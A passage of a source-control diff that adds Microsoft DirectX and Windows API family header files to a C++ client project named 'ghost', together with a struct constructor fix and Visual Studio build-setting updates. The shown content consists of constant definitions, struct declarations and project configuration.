#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
|
||||
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
|
||||
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
|
||||
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
|
||||
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
|
||||
|
||||
/* D3DDEVICEDESC dwDevCaps flags */
|
||||
|
||||
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
|
||||
/* for post-transform vertex data */
|
||||
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
|
||||
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
|
||||
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
|
||||
|
||||
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
|
||||
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
|
||||
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
|
||||
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
|
||||
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
|
||||
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
|
||||
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
|
||||
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
|
||||
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
|
||||
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
|
||||
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
|
||||
|
||||
/*
|
||||
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
|
||||
*/
|
||||
|
||||
/* device can do texgen */
|
||||
#define D3DVTXPCAPS_TEXGEN 0x00000001L
|
||||
/* device can do IDirect3DDevice7 colormaterialsource ops */
|
||||
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
|
||||
/* device can do vertex fog */
|
||||
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
|
||||
/* device can do directional lights */
|
||||
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
|
||||
/* device can do positional lights (includes point and spot) */
|
||||
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
|
||||
/* device can do local viewer */
|
||||
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
|
||||
#define D3DFDS_GUID 0x00000002L /* Match guid */
|
||||
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
|
||||
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
|
||||
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
|
||||
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
|
||||
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
|
||||
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
|
||||
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
|
||||
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
|
||||
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
|
||||
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
|
||||
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
|
||||
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
|
||||
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
|
||||
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
|
||||
|
||||
/*
|
||||
* FindDevice arguments
|
||||
*/
|
||||
typedef struct _D3DFINDDEVICESEARCH {
|
||||
DWORD dwSize;
|
||||
DWORD dwFlags;
|
||||
BOOL bHardware;
|
||||
D3DCOLORMODEL dcmColorModel;
|
||||
GUID guid;
|
||||
DWORD dwCaps;
|
||||
D3DPRIMCAPS dpcPrimCaps;
|
||||
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
|
||||
|
||||
typedef struct _D3DFINDDEVICERESULT {
|
||||
DWORD dwSize;
|
||||
GUID guid; /* guid which matched */
|
||||
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
|
||||
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
|
||||
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
|
||||
|
||||
/*
|
||||
* Description of execute buffer.
|
||||
*/
|
||||
typedef struct _D3DExecuteBufferDesc {
|
||||
DWORD dwSize; /* size of this structure */
|
||||
DWORD dwFlags; /* flags indicating which fields are valid */
|
||||
DWORD dwCaps; /* capabilities of execute buffer */
|
||||
DWORD dwBufferSize; /* size of execute buffer data */
|
||||
LPVOID lpData; /* pointer to actual data */
|
||||
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
|
||||
|
||||
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
|
||||
#define D3DDEB_CAPS 0x00000002l /* caps valid */
|
||||
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
|
||||
|
||||
/* D3DEXECUTEBUFFER dwCaps */
|
||||
|
||||
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
|
||||
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
|
||||
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
|
||||
|
||||
#if(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
|
||||
BOOL bThrashing; /* indicates if thrashing */
|
||||
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
|
||||
DWORD dwNumEvicts; /* number of textures evicted */
|
||||
DWORD dwNumVidCreates; /* number of textures created in video memory */
|
||||
DWORD dwNumTexturesUsed; /* number of textures used */
|
||||
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
|
||||
DWORD dwWorkingSet; /* number of textures in video memory */
|
||||
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
|
||||
DWORD dwTotalManaged; /* total number of managed textures */
|
||||
DWORD dwTotalBytes; /* total number of bytes of managed textures */
|
||||
DWORD dwLastPri; /* priority of last texture evicted */
|
||||
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
|
||||
|
||||
typedef struct _D3DDEVINFO_TEXTURING {
|
||||
DWORD dwNumLoads; /* counts Load() API calls */
|
||||
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
|
||||
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
|
||||
DWORD dwNumSet; /* counts SetTexture() API calls */
|
||||
DWORD dwNumCreates; /* counts texture creates */
|
||||
DWORD dwNumDestroys; /* counts texture destroys */
|
||||
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
|
||||
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
|
||||
DWORD dwNumLocks; /* counts number of texture locks */
|
||||
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
|
||||
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#endif //(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#pragma pack()
|
||||
|
||||
|
||||
#endif /* _D3DCAPS_H_ */
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||
#pragma endregion
|
||||
|
||||
2133
client/d3d/d3dtypes.h
Normal file
2133
client/d3d/d3dtypes.h
Normal file
File diff suppressed because it is too large
Load Diff
251
client/d3d/winapifamily.h
Normal file
251
client/d3d/winapifamily.h
Normal file
@@ -0,0 +1,251 @@
|
||||
/*
|
||||
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
Module Name:
|
||||
|
||||
winapifamily.h
|
||||
|
||||
Abstract:
|
||||
|
||||
Master include file for API family partitioning.
|
||||
|
||||
*/
|
||||
|
||||
#ifndef _INC_WINAPIFAMILY
|
||||
#define _INC_WINAPIFAMILY
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||
#endif
|
||||
#pragma once
|
||||
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
|
||||
#include <winpackagefamily.h>
|
||||
|
||||
/*
|
||||
* When compiling C and C++ code using SDK header files, the development
|
||||
* environment can specify a target platform by #define-ing the
|
||||
* pre-processor symbol WINAPI_FAMILY to one of the following values.
|
||||
* Each FAMILY value denotes an application family for which a different
|
||||
* subset of the total set of header-file-defined APIs are available.
|
||||
* Setting the WINAPI_FAMILY value will effectively hide from the
|
||||
* editing and compilation environments the existence of APIs that
|
||||
* are not applicable to the family of applications targeting a
|
||||
* specific platform.
|
||||
*/
|
||||
|
||||
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
|
||||
* device specific APIs to a particular WINAPI_FAMILY.
|
||||
* For example, when writing Windows Universal apps, specifying
|
||||
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
|
||||
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
|
||||
* unhide any API hidden behind the partition, to the compiler.
|
||||
|
||||
* The following partitions are currently defined:
|
||||
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
|
||||
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
|
||||
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
|
||||
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
|
||||
* WINAPI_PARTITION_SYSTEM // specific to System applications
|
||||
* WINAPI_PARTITION_GAMES // specific to games and apps
|
||||
|
||||
* The following partitions are indirect partitions and defined in
|
||||
* winpackagefamily.h. These partitions are related to package based
|
||||
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
|
||||
* any API hidden behind the package based partitions that are bound to
|
||||
* WINAPI_PARTITION_SERVER, to the compiler.
|
||||
* WINAPI_PARTITION_SERVER // specific to Server applications
|
||||
*/
|
||||
|
||||
/*
|
||||
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
|
||||
* an error will occur if WINAPI_FAMILY is set to any
|
||||
* WINAPI_PARTITION value (which must be 0 or 1, see below).
|
||||
*/
|
||||
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
|
||||
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
|
||||
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
|
||||
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
|
||||
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
|
||||
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
|
||||
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
|
||||
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
|
||||
|
||||
/*
|
||||
* For compatibility with Windows 8 header files, the following
|
||||
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
|
||||
* Use of this symbol should be considered deprecated.
|
||||
*/
|
||||
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
|
||||
|
||||
/*
|
||||
* If no WINAPI_FAMILY value is specified, then all APIs available to
|
||||
* Windows desktop applications are exposed.
|
||||
*/
|
||||
#ifndef WINAPI_FAMILY
|
||||
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
|
||||
#endif
|
||||
|
||||
/*
|
||||
* API PARTITONs are part of an indirection mechanism for mapping between
|
||||
* individual APIs and the FAMILYs to which they apply.
|
||||
* Each PARTITION is a category or subset of named APIs. PARTITIONs
|
||||
* are permitted to have overlapping membership -- some single API
|
||||
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
|
||||
* to be either 1 or 0 or depending on the platform at which the app is targeted.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The mapping between families and partitions is summarized here.
|
||||
* An X indicates that the given partition is active for the given
|
||||
* platform/family.
|
||||
*
|
||||
* +---------------------------+
|
||||
* | *Partition* |
|
||||
* +---+---+---+---+---+---+---+
|
||||
* | | | | | | | |
|
||||
* | | | | | | | |
|
||||
* | | | | P | | | |
|
||||
* | | | | H | | | |
|
||||
* | D | | | O | | | |
|
||||
* | E | | P | N | S | S | |
|
||||
* | S | | C | E | Y | E | G |
|
||||
* | K | | _ | _ | S | R | A |
|
||||
* | T | A | A | A | T | V | M |
|
||||
* +-------------------------+----+ O | P | P | P | E | E | E |
|
||||
* | *Platform/Family* \| P | P | P | P | M | R | S |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
|
||||
* +----------------------------- +---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
|
||||
* +----------------------------- +---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_GAMES | | | | | | | X |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
*
|
||||
* The table above is encoded in the following expressions,
|
||||
* each of which evaluates to 1 or 0.
|
||||
*
|
||||
* Whenever a new family is added, all of these expressions
|
||||
* need to be reconsidered.
|
||||
*/
|
||||
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
|
||||
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_DESKTOP
|
||||
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_APP
|
||||
#define WINAPI_PARTITION_APP \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_PC_APP
|
||||
#define WINAPI_PARTITION_PC_APP \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_PHONE_APP
|
||||
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_GAMES
|
||||
#define WINAPI_PARTITION_GAMES \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* SYSTEM is the only partition defined here.
|
||||
* All other System based editions are defined as packages
|
||||
* on top of the System partition.
|
||||
* See winpackagefamily.h for packages level partitions
|
||||
*/
|
||||
#ifndef WINAPI_PARTITION_SYSTEM
|
||||
#define WINAPI_PARTITION_SYSTEM \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* For compatibility with Windows Phone 8 header files, the following
|
||||
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
|
||||
* Use of this symbol should be regarded as deprecated.
|
||||
*/
|
||||
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
|
||||
|
||||
/*
|
||||
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
|
||||
* more declarations to some group of partitions. The macro chooses
|
||||
* whether the preprocessor will emit or omit a sequence of declarations
|
||||
* bracketed by an #if/#endif pair. All header file references to the
|
||||
* WINAPI_PARTITION_* values should be in the form of occurrences of
|
||||
* WINAPI_FAMILY_PARTITION(...).
|
||||
*
|
||||
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
|
||||
* a sequence of declarations that are part of both the Windows Desktop
|
||||
* Partition and the Windows-Phone-Specific Store Partition:
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||
* ...
|
||||
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||
*
|
||||
* The comment on the closing #endif allow tools as well as people to find the
|
||||
* matching #ifdef properly.
|
||||
*
|
||||
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
|
||||
* related. In particular one might use declarations like
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
*
|
||||
* or
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
|
||||
*
|
||||
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
|
||||
* should not be used.
|
||||
*/
|
||||
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
|
||||
|
||||
/*
|
||||
* Macro used to #define or typedef a symbol used for selective deprecation
|
||||
* of individual methods of a COM interfaces that are otherwise available
|
||||
* for a given set of partitions.
|
||||
*/
|
||||
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
|
||||
|
||||
/*
|
||||
* For compatibility with Windows 8 header files, the following
|
||||
* symbol is temporarily conditionally #define'd. Additional symbols
|
||||
* like this should be not defined in winapifamily.h, but rather should be
|
||||
* introduced locally to the header files of the component that needs them.
|
||||
*/
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
|
||||
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(pop)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif /* !_INC_WINAPIFAMILY */
|
||||
91
client/d3d/winpackagefamily.h
Normal file
91
client/d3d/winpackagefamily.h
Normal file
@@ -0,0 +1,91 @@
|
||||
/*
|
||||
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
Module Name:
|
||||
|
||||
winpackagefamily.h
|
||||
|
||||
Abstract:
|
||||
|
||||
API family partitioning based on packages.
|
||||
|
||||
*/
|
||||
|
||||
#ifndef _INC_WINPACKAGEFAMILY
|
||||
#define _INC_WINPACKAGEFAMILY
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||
#endif
|
||||
#pragma once
|
||||
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
|
||||
#ifndef WINAPI_PARTITION_SERVER
|
||||
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
|
||||
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
|
||||
*/
|
||||
#undef WINAPI_PARTITION_PKG_WINTRUST
|
||||
#undef WINAPI_PARTITION_PKG_WEBSERVICES
|
||||
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
|
||||
#undef WINAPI_PARTITION_PKG_VHD
|
||||
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
|
||||
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
|
||||
#undef WINAPI_PARTITION_PKG_REMOTEFS
|
||||
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
|
||||
#undef WINAPI_PARTITION_PKG_CMDTOOLS
|
||||
#undef WINAPI_PARTITION_PKG_DISM
|
||||
#undef WINAPI_PARTITION_PKG_CORESETUP
|
||||
#undef WINAPI_PARTITION_PKG_APPRUNTIME
|
||||
#undef WINAPI_PARTITION_PKG_ESENT
|
||||
#undef WINAPI_PARTITION_PKG_WINMGMT
|
||||
#undef WINAPI_PARTITION_PKG_WNV
|
||||
#undef WINAPI_PARTITION_PKG_CLUSTER
|
||||
#undef WINAPI_PARTITION_PKG_VSS
|
||||
#undef WINAPI_PARTITION_PKG_TRAFFIC
|
||||
#undef WINAPI_PARTITION_PKG_ISCSI
|
||||
#undef WINAPI_PARTITION_PKG_STORAGE
|
||||
#undef WINAPI_PARTITION_PKG_MPSSVC
|
||||
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
|
||||
#undef WINAPI_PARTITION_PKG_WER
|
||||
|
||||
/*
|
||||
* PARTITIONS for feature packages. Each package might be active for one or more editions
|
||||
*/
|
||||
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(pop)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif /* !_INC_WINPACKAGEFAMILY */
|
||||
@@ -1655,7 +1655,7 @@ public:
|
||||
BYTE Green;
|
||||
BYTE Red;
|
||||
BYTE Alpha;
|
||||
DXBASESAMPLE() {}
|
||||
DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
|
||||
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
|
||||
Alpha(alpha),
|
||||
Red(red),
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@@ -14,19 +14,20 @@
|
||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ghost</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -42,15 +43,19 @@
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
